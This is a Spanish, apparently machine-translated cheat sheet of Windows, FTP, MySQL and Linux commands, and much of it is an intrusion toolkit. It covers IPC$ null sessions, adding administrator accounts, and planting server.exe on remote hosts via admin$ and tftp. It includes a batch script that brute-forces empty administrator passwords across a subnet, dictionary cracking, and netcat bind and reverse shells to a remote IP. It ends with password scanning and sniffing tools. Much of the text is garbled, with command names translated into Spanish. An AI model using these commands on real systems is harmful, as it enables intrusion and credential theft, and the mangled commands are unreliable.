¿Cuáles son los comandos de DOS en WINDOW?
Diccionario de comandos de DOS
--------------------------------- -----------------------------------------
net use \\ip\ipc$ " " /user:" " Establecer enlace vacío IPC
net use \\ip\ipc$ "Contraseña" /user:"nombre de usuario" Crear IPC No -enlace vacío
net use h: \\ip\c$ "contraseña" /usuario:"nombre de usuario" Después de iniciar sesión directamente, asigne el C: de la otra parte al H: local
net use h: \\ip\c$ Después de iniciar sesión, asigne la otra parte C: al local H:
net use \\ip\ipc$ /del elimine el enlace IPC
uso de red h: /del elimina la asignación de la otra parte al H local:
nombre de usuario y contraseña del usuario de red/agregar crea un usuario
usuario de red invitado /active:sí activa el usuario invitado
usuario de red Ver qué usuarios
nombre de cuenta de usuario de red Ver propiedades de cuenta
administradores de grupo local de red nombre de usuario/agregar Agregar "usuario " al administrador para que tenga derechos de administrador, nota: agregue s después del administrador y use la forma plural
net start Compruebe qué servicios están habilitados
net start nombre del servicio inicia el servicio; (como: net start telnet, net start Schedule)
nombre del servicio net stop para detener un servicio
hora neta \\ ip objetivo verificar la hora de la otra parte
net time \\target ip /set configura la computadora local. La hora se sincroniza con la hora del host "target IP" y el mensaje de confirmación se puede cancelar agregando el parámetro /yes
net. vea para ver qué *** recursos compartidos están habilitados en la LAN local
net view \ \ip Verifique qué recursos compartidos de VPN están habilitados en la LAN de la otra parte
net config muestra la red del sistema configuración
el cierre de sesión de red desconecta los recursos compartidos de VPN
nombre del servicio de pausa de red para pausar un servicio
net envía un "mensaje de texto" de IP para enviar información a la otra parte
tipo de conexión de red net ver e información que se utiliza en la LAN
net share Ver recursos compartidos *** habilitados localmente
net share ipc$ Habilitar ipc$* ** acciones
participación neta ipc$ /del Eliminar ipc$*** acciones
participación neta c$ /del Eliminar C: ***participación
usuario de red invitado 12345 Después de iniciar sesión como usuario invitado, cambie la contraseña a 12345
contraseña de red Cambiar contraseña de inicio de sesión del sistema
netstat -a Verifique qué puertos están abiertos, netstat de uso común - an
netstat -n Verifique el estado de la conexión de red del puerto, comúnmente usado netstat -an
netstat -v Ver el trabajo en curso
netstat -p nombre del protocolo ejemplo: netstat -p tcq/ip Ver el uso de un determinado protocolo (verifique el uso del protocolo tcp/ip)
>
netstat -s Verifique el uso de todos los protocolos en uso
nbtstat -A ip Si uno de los puertos 136 a 139 de la otra parte está abierto, puede verificar el usuario que inició sesión recientemente. nombre (antes de 03 está el nombre de usuario) - Nota: el parámetro -A debe estar en mayúscula
tracert - Parámetro ip (o nombre de computadora) ruta de seguimiento (paquete), parámetro: "-w número" se usa para establezca el intervalo de tiempo de espera.
Ping ip (o nombre de dominio) envía datos con un tamaño predeterminado de 32 bytes al otro host Parámetros: "-l [espacio] tamaño del paquete"; "-n número de veces para enviar datos" ; "-t "se refiere a hacer ping todo el tiempo.
ping -t -l 65550 ip ping of death (enviar archivos de más de 64K y hacer ping todo el tiempo se convierte en el ping de la muerte)
ipconfig (winipcfg) para Windows NT y XP (Windows 95 98) Para ver la dirección IP local, ipconfig puede usar el parámetro "/all" para mostrar toda la información de configuración
tlist -t muestra los procesos en una lista de líneas de árbol (es una herramienta adicional para el sistema y no se instala de forma predeterminada en la carpeta Soporte/herramientas del directorio de instalación)
kill -F Agregue el parámetro -F al nombre del proceso para forzar el final de un proceso (es un. herramienta adicional para el sistema, que no está instalada de forma predeterminada en el soporte del directorio de instalación /carpeta herramientas)
Agregue el parámetro -F al nombre del archivo del -F para eliminar el archivo de solo lectura. /AR, /AH, /AS y /AA representan la eliminación de archivos de solo lectura, ocultos y del sistema respectivamente, archivos comprimidos, /A-R, /A-H, /A-S, /A-A significan eliminar archivos que no sean de lectura. Sólo archivos ocultos, del sistema y de almacenamiento. Por ejemplo, "DEL/AR *.*" significa eliminar todos los archivos de solo lectura en el directorio actual, y "DEL/A-S *.*" significa eliminar todos los archivos en el directorio actual excepto los archivos del sistema
#2 2:
del /S /Q directorio o use: rmdir /s /Q directorio /S para eliminar el directorio y todos los subdirectorios y archivos bajo el directorio. Al mismo tiempo, use el parámetro /Q para cancelar la operación de eliminación y elimínela directamente después de que el sistema la confirme.
(Los dos comandos tienen el mismo efecto)
mover letra de unidad\ruta\nombre del archivo a mover, ruta donde se almacena el archivo movido\nombre de archivo después del movimiento, use el parámetro /y para cancelar la confirmación que existe el mismo archivo en el directorio movido. Sobrescriba directamente las indicaciones
fc one.txt two.txt > 3st.txt. Compare los dos archivos y envíe las diferencias al archivo 3st.txt. y "> >" son duplicados. El comando dirigido
en el número de identificación inicia una tarea programada registrada
en /delete detiene todas las tareas programadas. Utilice el parámetro /yes para detener directamente sin confirmación.
en el número de identificación/eliminar Detener una tarea programada registrada
en Ver todas las tareas programadas
en \\ip hora nombre del programa (o un comando) /r Ejecute un determinado programa en el otro lado en un momento determinado y reinicie la computadora
dedo nombre de usuario @host para ver qué usuarios han iniciado sesión recientemente
puerto IP Telnet remoto y servidor de inicio de sesión, el puerto predeterminado es 23
open ip se conecta a IP (un comando después de iniciar sesión en telnet)
telnet Escriba telnet directamente en la máquina local para ingresar al telnet local
copiar ruta\nombre de archivo 1 ruta\nombre de archivo 2 /y Copiar el archivo 1 al directorio especificado como archivo 2. Utilice el parámetro /y para cancelar la confirmación de que desea sobrescribir un archivo de directorio existente
copiar c:\srv.exe \ \ip\admin$ Copiar c:\srv.exe local al administrador de la otra parte
cppy 1st.jpg/b+2st.txt/a 3st.jpg Ocultar el contenido de 2st.txt a 1st Genera un nuevo archivo 3st.jpg en jpg Nota: El encabezado del archivo 2st.txt debe tener tres filas vacías: /b se refiere al archivo binario, /a se refiere al archivo en formato ASCLL. /p>
copiar \\ip\admin$ \svv.exe c:\ o:copiar\\ip\admin$\*.* Copiar los archivos srv.exe (todos los archivos) compartidos por el administrador de la otra parte *** a C local:
xcopy La dirección de destino del archivo o árbol de directorios que se va a copiar\nombre del directorio para copiar el archivo y el árbol de directorios, use el parámetro /Y para sobrescribir el mismo archivo sin preguntar
tftp -i propia IP (esto se usa cuando se usa la máquina de carne como trampolín) IP de la máquina) get server.exe c:\server.exe Después de iniciar sesión, descargue el server.exe de "IP "al host de destino c:\server.exe Parámetro: -i significa transferir en modo binario, como cuando se transfieren archivos exe. Si no se agrega -i, la transmisión se realizará en modo ASCII (modo de transmisión de archivos de texto)
tftp -i La IP de la otra parte puso c:\server.exe Después de iniciar sesión, cargue el c:\server.exe local en el host
Se utiliza el puerto ftp ip para cargar archivos al servidor o realizar operaciones con archivos. El puerto predeterminado es 21. bin se refiere a la transmisión en modo binario (entrada de archivo ejecutable); el valor predeterminado es la transmisión en formato ASCII (archivo de texto)
la impresión de ruta muestra la ruta IP, que mostrará principalmente la dirección de red, la dirección de red y la máscara de subred. Máscara de red, dirección de puerta de enlace Dirección de puerta de enlace, dirección de interfaz Interfaz
arp Ver y procesar el caché ARP ARP significa resolución de nombres y es responsable de analizar una IP en una dirección MAC física.
arp -a mostrará toda la información
nombre o comando del programa de inicio /max o /min para abrir una nueva ventana y maximizar (minimizar) ejecutar un programa o comando
mem Ver el uso de la CPU
nombre de archivo de atributo (nombre de directorio) Ver los atributos de un archivo (directorio)
nombre de archivo de atributo-A -R -S -H o +A +R + S +H elimina (agrega) los atributos de archivo, de solo lectura, de sistema y ocultos de un determinado archivo; use + para agregarlo como un determinado atributo
dir Ver archivos, parámetros: /Q muestra en qué sistema están los archivos; y los directorios pertenecen al Usuario, /T:C muestra la hora de creación del archivo, /T:A muestra la última vez que se accedió al archivo, /T:W hora de la última modificación
fecha /t, hora /t use este parámetro "FECHA/T", "HORA/T" solo mostrará la fecha y hora actuales sin tener que ingresar una nueva fecha y hora
establecer Especifique el nombre de la variable de entorno = el carácter que se va a utilizar. asignado a la variable Establecer la variable de entorno
p>set muestra todas las variables de entorno actuales
set p (u otros caracteres) muestra todas las variables de entorno actuales que comienzan con el carácter p (u otros caracteres )
pause Pausa el programa por lotes y muestra: Presione cualquier tecla para continuar....
si realiza procesamiento condicional en el programa por lotes (consulte if comando y variables para obtener más instrucciones )
La etiqueta Goto dirige cmd.exe a la línea etiquetada en el programa por lotes (la etiqueta debe ser una línea separada y precedida por dos puntos, por ejemplo: etiqueta ":start")
ruta de llamada\nombre del archivo por lotes Llama a otro programa por lotes desde dentro de un programa por lotes (consulte llamar a /? para obtener más instrucciones)
para Ejecutar un comando específico en cada archivo de un conjunto de archivos (consulte la para comando y variable)
eco activado o desactivado activa o desactiva el eco. El uso de eco solo sin parámetros mostrará la configuración actual del eco
la información del eco se mostrará en la pantalla
p>
información de eco>> pass.txt Guarde "información" en el archivo pass.txt
findstr "Hello" aa.txt Busque la cadena hello en el archivo aa.txt
buscar nombre de archivo para buscar un archivo
el nombre del título del título cambia el nombre del título de la ventana CMD
el valor del color del color establece el color de primer plano y de fondo de la consola cmd 0=negro; , 1=azul, 2=verde, 3=verde claro, 4=rojo, 5=morado, 6=amarillo, 7=blanco, 8=gris, 9=azul claro, A=verde claro, B=verde claro, C =rojo claro, D= Morado claro, E=amarillo claro, F=blanco brillante
el nombre del mensaje cambia el símbolo del sistema mostrado por cmd.exe (cambie C:\, D:\ a: EntSky\)
#3 Tres:
ver muestra información de la versión en la ventana de DOS
winver abre una ventana para mostrar información de la versión (tamaño de la memoria, versión del sistema, parche versión, nombre de la computadora)
formatear letra de unidad/FS: escriba formatear disco, escriba: FAT, FAT32, NTFS, ejemplo: Formato D: /FS:NTFS
md nombre de directorio a crear directorio
reemplazar el archivo fuente para reemplazar el directorio de archivos reemplazar el archivo
ren el nombre del archivo original nuevo nombre del archivo cambiar el nombre del archivo
el árbol muestra el directorio en una estructura de árbol, use el parámetro -f enumerará los nombres de los archivos en la carpeta
escriba el nombre del archivo muestra el contenido del archivo de texto
más nombre de archivo muestra la pantalla del archivo de salida por pantalla
doskey Para bloquear comando=char
doskey Para desbloquear el comando = bloquear el comando proporcionado para DOS (editar la línea de comando, volver a invocar el comando win2k y crear una macro). Por ejemplo: comando lock dir: doskey dir=entsky (no se puede usar doskey dir=dir desbloquear: doskey dir=
taskmgr abre el administrador de tareas
chkdsk /F D: comprobar el disco D y muestre el informe de estado; agregue el parámetro /f y corrija el error en el disco
tlntadmn telnt service admn, escriba tlntadmn y seleccione 3, luego seleccione 8, puede cambiar el puerto predeterminado del servicio telnet; 23 a cualquier otro puerto
salir sale del programa cmd.exe o del actual. Utilice el parámetro /B para salir del script por lotes actual en lugar de cmd.exe
ruta ruta\ejecutable. El nombre del archivo es ejecutable. El archivo establece una ruta.
cmd inicia una ventana de interpretación de comandos de win2K. Parámetros: /eff, /en desactivar y activar la expansión del comando; para obtener instrucciones más detalladas, consulte cmd /?
regedit /s El nombre del archivo de registro se importa al registro al que se refiere; importación en modo silencioso, sin ningún mensaje
regedit /e Nombre del archivo de registro exporta el registro
El parámetro de nombre de archivo cacls muestra o modifica la lista de control de acceso a archivos (ACL) - para NTFS; formato. Parámetros: /D nombre de usuario: configurado para denegar el acceso a un determinado usuario; /P nombre de usuario: permanente reemplaza los derechos de acceso del usuario especificado; /G nombre de usuario: permanente otorga derechos de acceso al usuario especificado. Puede ser: N ninguno, R; lee, W escribe, C cambia (escribe), F controla completamente, por ejemplo: cacls D:\test.txt /D pub establece d:\test.txt para denegar el acceso al usuario pub.
nombre de archivo cacls para ver la lista de permisos de usuario de acceso a archivos
Contenido de texto REM para agregar comentarios en el archivo por lotes
netsh para ver o cambiar la red local configuración
#4 Cuatro:
Comando de servicio IIS:
iisreset /reboot Reinicia la computadora win2k (pero aparece un mensaje solicitando que el sistema se reinicie)
iisreset /start o stop inicia (detiene) todos los servicios de Internet
iisreset /restart detiene y reinicia todos los servicios de Internet
iisreset /status muestra el estado de todos los servicios de Internet
iisreset /enable or enable Habilita (deshabilita) el reinicio del servicio de Internet en el sistema local
iisreset /rebootonerror Al iniciar, detener o reiniciar el servicio de Internet, si ocurre un error
>iisreset /noforce Si no se puede detener el servicio de Internet, el servicio de Internet no se cancelará por la fuerza
iisreset /timeout Val no ha detenido el servicio de Internet cuando se excedió el tiempo (segundos ) se alcanza. Si se especifican los parámetros /rebootonerror, la computadora se reiniciará. El valor predeterminado es 20 segundos para reiniciar, 60 segundos para detener y 0 segundos para reiniciar.
Comando FTP: (los detalles se explican más adelante)
El formato de línea de comando de ftp es:
ftp -v -d -i -n -g[ nombre de host] -v muestra toda la información de respuesta del servidor remoto.
-d usa el modo de depuración.
-n restringe el inicio de sesión automático de ftp, es decir, no utiliza el archivo .netrc.
-g Cancela el nombre del archivo global.
ayuda [comando] o ? [Comando] Ver la descripción del comando
adiós o salir finaliza el proceso FTP del host y sale del modo de administración FTP
pwd enumera el directorio del host remoto actual
. poner o enviar el nombre del archivo local [nombre del archivo cargado en el host] para transferir un archivo local al host remoto
obtener o recibir [nombre del archivo del host remoto] [nombre del archivo descargado al local] desde Transferir un lote de archivos del host remoto al host local
mget [remote-files] Recibir un lote de archivos del host remoto al host local
mput local-files Transferir un lote de archivos al host local Transferir archivos al host remoto
dir o ls [directorio-remoto] [archivo-local] enumera los archivos en el directorio del host remoto actual. Si hay archivos locales, escriba. los resultados al archivo local
ascii Configurar para enviar archivos en modo ASCII (valor predeterminado)
bin o image Configurar para enviar archivos en modo binario
bell Cada vez que se completa una transferencia de archivos, el mensaje de alarma
cdup regresa al directorio anterior
cerrar interrumpe la sesión ftp con el servidor remoto (correspondiente a abrir)
abrir host[puerto] establece la conexión del servidor ftp especificado, puede especificar el puerto de conexión
delete elimina archivos en el host remoto
mdelete [remote-files] elimina un lote de files
mkdir nombre-directorio Crea un directorio en el host remoto
rename [from] [to] Cambia el nombre del archivo en el host remoto
directorio rmdir -name Eliminar el directorio en el host remoto
el estado muestra el estado actual de FTP
el sistema muestra el tipo de sistema del host remoto
usuario nombre de usuario [contraseña] [cuenta] Vuelva a iniciar sesión en el host remoto con otro nombre de usuario host
abrir host [puerto] restablecer una nueva conexión
modo de aviso interactivo
macdef define macro comando
lcd change El directorio de trabajo actual del host local Si es predeterminado, vaya al directorio HOME del usuario actual
chmod cambia los permisos de archivo del host remoto<. /p>
case Cuando esté activado, use el comando MGET Copie los nombres de los archivos a la máquina local y conviértalos todos a letras minúsculas
cd remote-dir ingresa al directorio del host remoto
cdup ingresa al directorio principal del directorio del host remoto
! Ejecute un shell interactivo en la máquina local, salga y regrese al entorno ftp, como!ls*.zip
#5 Cinco:
Comando MYSQL:
mysql -h dirección de host -u nombre de usuario -p contraseña para conectarse a MYSQL si acaba de instalar MYSQL, el superusuario; root no tiene contraseña.
(Ejemplo: mysql -h110.110.110.110 -Uroot -P123456
Nota: u y root no necesitan agregar espacios, lo mismo aplica para los demás)
salir Salir de MYSQL
mysqladmin -u nombre de usuario -p contraseña anterior contraseña nueva contraseña cambiar contraseña
conceder selección en la base de datos.* al nombre de usuario@inicio de sesión host identificado por \"contraseña\" "; Agregar nuevos usuarios.
(Nota: a diferencia de lo anterior, los siguientes son comandos en el entorno MYSQL, por lo que van seguidos de un punto y coma como terminador del comando)
mostrar bases de datos; Al principio solo existían dos bases de datos: mysql y test. La biblioteca mysql es muy importante. Contiene información del sistema MYSQL. Cuando cambiamos contraseñas y agregamos nuevos usuarios, en realidad usamos esta biblioteca para las operaciones.
usar mysql;
mostrar tablas; mostrar las tablas de datos en la biblioteca
describir el nombre de la tabla; p>crear nombre de base de datos; crear base de datos
usar nombre de base de datos
crear nombre de tabla de tabla (lista de configuración de campo
eliminar nombre de base de datos); ;
eliminar el nombre de la tabla; eliminar la base de datos y la tabla
eliminar del nombre de la tabla; borrar los registros en la tabla
seleccionar * del nombre de la tabla; registros en la tabla Registro
mysqldump --opt school>school.bbb Copia de seguridad de la base de datos: (El comando se ejecuta en el directorio \\mysql\\bin de DOS Nota: Realice una copia de seguridad de la base de datos school en); el archivo school.bbb, school.bbb es un archivo de texto. Puede elegir cualquier nombre de archivo. Ábralo y encontrará nuevos descubrimientos.
Nuevos comandos bajo el sistema win2003 (parte práctica):
apagar /parámetro Apagar o reiniciar el host local o remoto.
Descripción del parámetro: /S apaga el host, /R reinicia el host, /T establece digitalmente el tiempo de retardo, que oscila entre 0 y 180 segundos, /A cancela el arranque, /M //IP especificada remota anfitrión.
Ejemplo: apagado /r /t 0 Reinicia el host local inmediatamente (sin demora)
taskill /parámetro nombre del proceso o pid del proceso Termina una o más tareas y procesos.
Descripción del parámetro: /PID es el pid del proceso a terminar. Puede usar el comando tasklist para obtener el pid de cada proceso, /IM es el nombre del proceso a terminar, /. F es terminar el proceso por la fuerza, /T es terminar el proceso especificado y el proceso hijo que inició.
La lista de tareas muestra los identificadores de proceso (PID) de procesos, servicios y procesos de servicio que se ejecutan actualmente en hosts locales y remotos.
Descripción del parámetro: /M enumera los archivos dll cargados por el proceso actual, /SVC muestra los servicios correspondientes a cada proceso, si no hay ningún parámetro, solo se enumera el proceso actual.
#6 Seis:
Comandos básicos en el sistema Linux: distingue entre mayúsculas y minúsculas
uname muestra información de la versión (igual que la versión win2K)
dir muestra los archivos en el directorio actual, ls -al muestra los archivos ocultos (igual que dir en win2K)
pwd consulta la ubicación del directorio actual
cd cd ..volver a la página anterior Directorio de capas, tenga en cuenta que hay un espacio entre cd y... cd /regresar al directorio raíz.
nombre del archivo cat Ver contenido del archivo
cat >abc.txt Escriba el contenido en el archivo abc.txt.
más nombre de archivo Muestra un archivo de texto página por página.
cp copia archivos
mv mueve archivos
rm nombre de archivo elimina archivos, rm -a nombre de directorio elimina directorios y subdirectorios
mkdir nombre del directorio crea un directorio
rmdir elimina un subdirectorio y no hay documentos en el directorio.
chmod establece los permisos de acceso de archivos o directorios
grep busca cadenas en archivos
comparación de archivos diff
buscar búsqueda de archivos
fecha Fecha y hora actual
quién Consulta las personas que actualmente utilizan la misma máquina que usted y la hora y ubicación de inicio de sesión
w Consulta la información detallada de los usuarios actuales
whoami Ver el nombre de tu cuenta
grupos Ver el grupo de alguien
contraseña Cambiar contraseña
historial Ver tus propios comandos pasados
ps muestra el estado del proceso
kill detiene un proceso
gcc Los piratas informáticos suelen usarlo para compilar archivos escritos en lenguaje C
Sus permisos se convierten a usuarios designados
telnet IP telnet se conecta al otro host (igual que win2K). Cuando aparece bash$, la conexión es exitosa.
ftp ftp se conecta a un servidor (igual que win2K)
Adjunto: comandos por lotes y variables
1: Formato básico de comandos y variables:
FOR /parameter%variable IN (set) DO comando [command_parameters] %variable: especifique un parámetro reemplazable de una sola letra, como: %i, y especifique una variable con: %%i, y al llamar a Uso de variables: %i%, las variables distinguen entre mayúsculas y minúsculas (%i no es igual a %I).
El procesamiento por lotes puede procesar de %0 a %9***10 variables cada vez, de las cuales %0 tiene como valor predeterminado el nombre del archivo por lotes y %1 tiene como valor predeterminado el que se ingresa al usar este lote. primer valor, de manera similar: %2-%9 se refiere al valor ingresado del 2 al 9, por ejemplo: net use \\ip\ipc$ pass /user:user donde ip es %1, pass es %2, usuario para %3;
(set): Especifique uno o un grupo de archivos, puede usar comodines, como: (D:\user.txt) y (1 1 254) (1 -1 254), { " (1 1 254)" El primer "1" se refiere al valor inicial, el segundo "1" se refiere al incremento, y el tercero "254" se refiere al valor final, es decir: de 1 a 254; "(1 -1 254 )" descripción: de 254 a 1 }
comando: especifique el comando que se ejecutará en el archivo, como por ejemplo: comando net use; si desea ejecutar varios comandos, agregue: & a separe los comandos.
command_parameters: especifique parámetros o interruptores de línea de comando para comandos específicos.
IN (set): se refiere a tomar el valor en (set); ejecutando el comando
Parámetros: /L significa usar forma incremental {cuando (set) está en forma incremental} /F significa obtener valores continuamente del archivo hasta que esté terminado {cuando (set) es un archivo, como (d:\ pass.txt)}.
Ejemplo de uso:
@echo off
formato de uso de eco: test.bat *.*.* > test.txt
para /L %%G en (1 1 254) haga eco %1.%%G >>test.txt y use net \\%1.%%G /user:administrator busque "Comando completado exitosamente" >>prueba | .txt
Guardar como test.bat Descripción: intente establecer una conexión IPC$ con una contraseña de administrador vacía para las 254 IP en un segmento de red de clase C específico. Si tiene éxito, guarde la IP en test.txt. medio.
/L se refiere a la forma incremental (es decir, de 1-254 o 254-1); los primeros tres dígitos de la IP de entrada: *.*.* es el %1 predeterminado para el procesamiento por lotes; %G es variable (el último dígito de ip); & se usa para separar los dos comandos echo y net use | significa que después de crear ipc$, use buscar en los resultados para ver si hay un mensaje de "comando completado con éxito"; ; %1.% %G es la dirección IP completa (1 1 254) se refiere al valor inicial, la cantidad de crecimiento y el valor final.
@echo desactivado
formato de uso de eco: ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb. exe %1 %%i D:\pass.dic 200
Guardar como: ok.exe Descripción: Después de ingresar una IP, use el archivo de diccionario d:\pass.dic para descifrar d:\user. La contraseña del usuario en dic hasta que se agote el valor del archivo. %%i es el nombre de usuario; %1 es la dirección IP ingresada (predeterminada).
#7 Siete:
2: Formato básico del comando if y las variables:
IF [not] declaración de comando numérico de nivel de error Si el programa se ejecuta y finalmente regresa un valor igual o código de salida mayor que el número especificado y la condición especificada es "verdadera".
Ejemplo: el comando IF errorlevel 0 significa que cuando el valor devuelto después de la ejecución del programa es 0, se ejecutará el comando después de la línea; IF not errorlevel 1 significa que el valor devuelto después de la ejecución del programa no es igual. a 1, entonces se ejecutará el siguiente comando.
0 significa que fue descubierto y ejecutado exitosamente (verdadero); 1 significa que no fue descubierto ni ejecutado (falso).
IF [not] Cadena 1==Cadena 2 Declaración de comando Si la cadena de texto especificada coincide (es decir: la Cadena 1 es igual a la Cadena 2), se ejecutará el siguiente comando.
Ejemplo: "if "%2%"=="4" ir a inicio" significa: si la segunda variable ingresada es 4, ejecute el siguiente comando (nota: cuando llame a una variable, use % nombre de variable % y agregue " ")
SI [no] existe declaración de comando de nombre de archivo Si el nombre de archivo especificado existe, se ejecutará el siguiente comando.
Ejemplo: "si no nc.exe ir al final" significa: si no se encuentra el archivo nc.exe, salte a la etiqueta ":end".
IF [no] declaración de comando numérico de nivel de error else declaración de comando o IF [no] cadena 1==cadena 2 declaración de comando else declaración de comando o IF [no] existe nombre de archivo declaración de comando else declaración de comando más Arriba: Después de la declaración del comando else, se refiere a: cuando la condición anterior no es verdadera, se refiere al comando después de else. Nota: else debe estar en la misma línea que para ser válido.
Cuando hay un comando del, todo el contenido del comando del debe estar encerrado en < >, porque el comando del solo se puede ejecutar en una línea separada. Después de usar < >, es equivalente a una línea separada, por ejemplo: "si existe test.txt. else echo test.txt.missing", preste atención al "." en el comando
(2) Comandos externos del sistema (ambos requieren descarga). herramientas relevantes):
1, navaja suiza: nc.exe
Descripción del parámetro:
-h Ver información de ayuda
- d Modo en segundo plano
-e prog Redirección del programa, ejecutado tan pronto como se establece la conexión [peligroso]
-i intervalo de retardo de segundos
-l modo de escucha , utilizado para conexiones entrantes
-L modo de monitoreo, continúa monitoreando después de cerrar la conexión, hasta CTR+C
-n dirección IP, el nombre de dominio no se puede usar
-o la película graba la transmisión hexadecimal
p>
-p[espacio]Número de puerto local
-r Puerto local y remoto aleatorio
-t Use el modo de interacción Telnet
-u modo UDP
-v salida detallada, use -vv para ser más detallado
-w retardo de tiempo de espera digital intervalo
-z apaga la entrada y salida (cuando se usa para barrer anclas)
Uso básico:
nc -nvv 192.168.0.1 80 Conectar al puerto 80 del host 192.168.0.1
nc -l - p 80 Abre el puerto TCP local 80 y escucha
nc -nvv -w2 -z 192.168.0.1 80-1024 Barre el 80 -1024 puertos de 192.168.0.1
nc - l -p 5354 -t -e c:winntsystem32cmd.exe Vincula el cmdshell del host remoto al puerto TCP 5354 remoto
nc - t -e c:winntsystem32cmd.exe 192.168.0.2 5354 Vincula el cmdshell del host remoto y conecta de forma inversa al puerto 5354 de 192.168.0.2
Uso avanzado:
nc -L -p 80 Use 1 como honeypot: abra y monitoree el puerto 80 hasta CTR +C hasta nc -L -p 80 > c:\log.txt Use 2 como honeypot: abra y monitoree continuamente el puerto 80 hasta CTR+C, y genere el resultados en c: \log.txt
nc -L -p 80 < c:\honeyport.txt Utilice 3-1 como honeypot: abra y escuche el puerto 80 continuamente hasta CTR+C, y ponga c: El contenido de \honeyport.txt se envía a la canalización y también se puede utilizar para transferir archivos
type.exe c:\honeyport | nc -L -p 80 Utilice 3-2 como honeypot. : La apertura no monitorea el puerto 80 continuamente hasta CTR+C y envía el contenido en c:\honeyport.txt al canal, que también se puede usar para transferir archivos
Usar en esta máquina: nc - l -p Puerto local
Uso en el host de la otra parte: nc -e cmd.exe IP local -p Puerto local *win2K
nc -e /bin/sh IP local - p puerto local *linux, conexión inversa unix para atravesar el firewall del otro host
Usar en la máquina local: nc -d -l -p puerto local en Usar en el host de la otra parte: nc -vv IP local Puerto local> La ruta y el nombre del archivo para transferir el archivo al host de la otra parte Observaciones: | < o > comando de redireccionamiento. "<", por ejemplo: tlntadmn < test.txt significa asignar el contenido de test.txt al comando tlntadmn ＠ significa ejecutar el comando después de @, pero no se mostrará (ejecución en segundo plano); por ejemplo: @ dir c:\winnt >> d:\log.txt significa: ejecutar dir en segundo plano y almacenar el resultado en d:\log.txt >La diferencia entre >>"> " significa: sobrescribir; ">>" significa: guardar en (agregar a). Por ejemplo: @dir c:\winnt >> d:\log.txt y @dir c:\winnt > d:\log.txt ejecutan dos comandos respectivamente para comparar: use >> El resultado de la segunda vez se guarda, mientras que el resultado de :> es solo el resultado de la primera vez, porque el resultado de la segunda vez sobrescribe el resultado de la primera vez. #8 Ocho: 2. Herramienta de escaneo de anclaje: xscan.exe Formato básico xscan -host xscan -file Elementos de detección -active Compruebe si el host está activo -os Detect el tipo de sistema operativo remoto (a través de los protocolos NETBIOS y SNMP) -port Detecta el estado del puerto de los servicios más utilizados -ftp Detecta contraseñas débiles de FTP - pub Detecta permiso de escritura de usuario anónimo del servicio FTP -pop3 Detecta contraseñas débiles del servidor POP3 -smtp Detecta vulnerabilidades del servidor SMTP -sql Detecta el servidor SQL contraseñas débiles -smb detecta contraseñas débiles de NT-Server -iis detecta vulnerabilidades de codificación/decodificación de IIS -cgi detecta vulnerabilidades CGI - nasl Cargar script de ataque Nessus -all Detectar todos los elementos anteriores Otras opciones -i número de adaptador para configurar el adaptador de red, -l Mostrar todos los adaptadores de red -v Mostrar el progreso del análisis detallado -p Omitir hosts que no responden -o omite los hosts sin puertos abiertos detectados -t Número de subprocesos simultáneos, el número de hosts simultáneos especifica el número máximo de subprocesos simultáneos y el número de hosts simultáneos, el número predeterminado es 100,10 -nombre del archivo de registro especifica el nombre del archivo del informe de escaneo (sufijo: archivo en formato TXT o HTML) Ejemplo de uso xscan -host 192.168 .1.1-192.168.255.255 -all -active -p detecta todas las vulnerabilidades de los hosts en el segmento de red 192.168.1.1-192.168.255.255 y omite los hosts que no responden xscan -host 192.168.1.1-192.168.255.255 - port -smb -t 150 -o Detecta el estado del puerto estándar de los hosts en el segmento de red 192.168.1.1-192.168.255.255. Para usuarios de contraseñas débiles de NT, el número máximo de subprocesos simultáneos es 150, omitiendo los hosts sin puertos abiertos detectados. /p> xscan -file hostlist.txt -port -cgi -t 200,5 -v -o Detecta el estado del puerto estándar y las vulnerabilidades CGI de todos los hosts enumerados en el archivo "hostlist.txt". los subprocesos simultáneos son 200 y se pueden detectar un máximo de 5 máquinas al mismo tiempo. Host, mostrar el progreso de detección detallado, omitir hosts sin puertos abiertos detectados #9 Nueve: 3. Rastreador de línea de comando: xsniff.exe Puede capturar contraseñas de protocolo FTP/SMTP/POP3/HTTP en la LAN Descripción de parámetros salidas tcp Datagramas TCP -udp genera informe de datos UDP -icmp produce datagrama ICMP -pasa información de contraseña de filtro -oculta ejecución el fondo -host resolver nombre de host -addr Dirección IP Filtro Dirección IP -puerto Puerto Puerto de filtro -l